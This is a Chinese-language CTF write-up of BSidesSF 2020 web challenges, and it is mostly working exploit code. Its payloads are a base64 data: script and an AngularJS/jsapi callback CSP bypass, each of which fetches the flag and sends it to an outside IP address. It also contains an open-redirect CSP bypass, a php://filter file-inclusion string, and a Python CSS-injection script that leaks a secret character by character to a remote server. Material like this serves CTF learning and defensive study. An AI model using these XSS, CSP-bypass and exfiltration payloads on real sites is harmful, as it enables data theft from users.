BSidesSF 2020 CTF-Web题解

BSidesSF 2020 CTF-Web题解

放题的时间总在半夜,国际赛真的很不友好了..

偷闲打了3、4个小时,把done的几道题做个小记。

CSP1

CSP规则如下:

content-security-policy: 
    script-src 'self' data:; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

没过滤data协议,直接构造

<script src=data:text/html;base64,ZmV0Y2goJy9jc3Atb25lLWZsYWcnKS50aGVuKHggPT4geC50ZXh0KCkpLnRoZW4oeCA9PiB7CiAgICBsb2NhdGlvbiA9ICdodHRwOi8vMTIwLjc5LjE1Mi42Njo3Nzc3Lz9kPScgKyBidG9hKHgpOwp9KTs></script>


btoa(fetch('/csp-one-flag').then(x => x.text()).then(x => {
    location = 'http://120.79.152.66:7777/?d=' + btoa(x);
});)

image_1e1qf2ftj1cen185ibun114n15jo9.png-123.6kB

CSP2

CSP规则

content-security-policy: script-src 'self' ajax.googleapis.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

ajax.googleapis.com找一个回调XSS

"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.3/angular.min.js"></script><div ng-app ng-csp id=p ng-click=$event.view.alert(1337)><script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>

根据Angular版本找一个XSS bypass

image_1e1qjh98m1cf9b9ft94ef61p8d1b.png-15.9kB

JS编码一下以防截断

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.3/angular.min.js"></script><div ng-app ng-csp id=p ng-click={{constructor.constructor('eval(String.fromCharCode(102,101,116,99,104,40,39,47,99,115,112,45,116,119,111,45,102,108,97,103,39,41,46,116,104,101,110,40,120,32,61,62,32,120,46,116,101,120,116,40,41,41,46,116,104,101,110,40,120,32,61,62,32,123,13,10,32,32,32,32,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,53,50,46,54,54,58,55,55,55,55,47,63,100,61,39,32,43,32,98,116,111,97,40,120,41,59,13,10,125,41,59))')()}}><script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>

image_1e1qjjkf0ei11o9319bt1jgkcgu2r.png-155.8kB

CSP3

这题CSP规则是这样给的

content-security-policy: 
    script-src 'self' http://storage.googleapis.com/good.js; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

script白名单是firebase服务托管的js文件
,一开始我以为要注册个Google Cloud上个自己的js,然后路径穿越(好像是个叫RPO的技术)。

但是注册需要有VISA或者银联,很可惜二者俺都有没,遂放弃了此题,赛后看WP实力打了波脸。

说下官方解,我感觉思路挺不错的。这题需要扫出来robots.txt找到一个任意url跳转,之后依然是注册一个firebase自己的js库,用url跳转来指向自己的js文件就能bypass CSP.

为啥呢?我们看下面CSP关于重定向说明的这段解释

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.

Directly loading https://example.com/redirector would pass, as it matches example.com.

Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

意思就是我们重定向的域名只要在whitelist中,那么该域下的所有文件都是过CSP的,因为判断部分默认重定向到https://whilelist。因此payload构造如下

Input: <script src="https://csp-3-05637e51.challenges.bsidessf.net/redirect?url=https://storage.googleapis.com/MY_OWN_BUKET/exploit.js></script>

had-a-bad-day

文件包含,包含的参数中必须含有Woofers或者Meowers

X-Powered-By: PHP/7.4.2没办法用截断

用filter协议加一层路径就行了

php://filter/read=convert.base64-encode/woofers/resource=flag

image_1e1r7ptvl3ddnj914ae8vb1m7k9.png-409.9kB

fun-with-flags

只有一个可以给admin发信息,顺便看了眼CSP

Location: https://fun-with-flags-3b5279f5.challenges.bsidessf.net/home
Content-Security-Policy: script-src 'self'; img-src *; default-src 'self'; style-src 'self' 'unsafe-inline'; report-uri /csp_report

image_1e1rak99q1o6bs0v1p994n41d839.png-25.9kB

意图很明显是个CSS Injection,不过style-src是个unsafe-inline用不了import,没发用https://github.com/d0nutptr/sic一把梭

那就按照普通的属性选择器爆破就行了,Flag位数不长,没必要反代回来做判断,一位一位爆挺快的,脚本如下:

import requests
import string

burp0_url = "https://fun-with-flags-3b5279f5.challenges.bsidessf.net:443/home"

burp0_cookies = {"session": ".eJyVkMFuozAQhl-l8jmH4CSVGqmHsBAvkTwoCeD1rKpoY2jB2GkVSAFXffcl2Wqvqz2NZvTr0__NBzk8m19NWTRk-fOD3LV_xpEsyVFkTtH1CbePj-Rz8nXNWFkebesihu-q8gcU-Zua7Yyy5oLdNfl0y_4TtBcLKkX_ht98T9FsONp1i3v_Cu3kD3A5fRhw9R_AhD2ckGZ1xMwl-g6epGDUDGwu-qbYz2-gp8noey6akizb86UYtyonyy8AuMygCPuYQSUFX2Dy0qMNOy7CgbPIQ51XwMIFt-mUu7LGwLcyqSkPsIRk5WSyM5ymXsx2Glza8WA7lVZ6yHZWitSBzTTQMROkHehNGQe-AbeaSreuwW1Gluox4TOuNyM7cqi3c6nDOQZqwV1upcMKg9zGgl-1yeHSFOebAPHu78mEqOb8fGhf6-L014knfiXpdo5i7KNDCsnYY-yCAjUPTAV2o0HLHlzogVZDHBgrb2_9_A3laa33.XlOVnQ.YPN4kKLugwzhGjj0_D52s0j55fE"}

content_raw = """<style>input[name=flag][value^=\"${injected}${new}\"] ~ *{background-image:url(\"http://vps_server/${new}\");}</style>"""

injected = "CTF{Clandestine_Secret_Stealin"

for new in string.printable:
    content = string.Template(content_raw).substitute({'injected': injected,'new':new})

    print("[+]payload now:",content)

    burp0_data = {"to_user": "1", "title": "<svg/onload=alert`1`", "content": content, "csrf_token": "IjEwYmNkOGVlMDIxNjU1MzVlM2VmYzA5YjZiYzY2MTcxNTY3Mjg5ZmEi.XlOVnQ.UV3_Lq84-SeA-CxnmRx_iYLi1-U", "submit": "Send"}

    try:
        requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    except:continue
not found!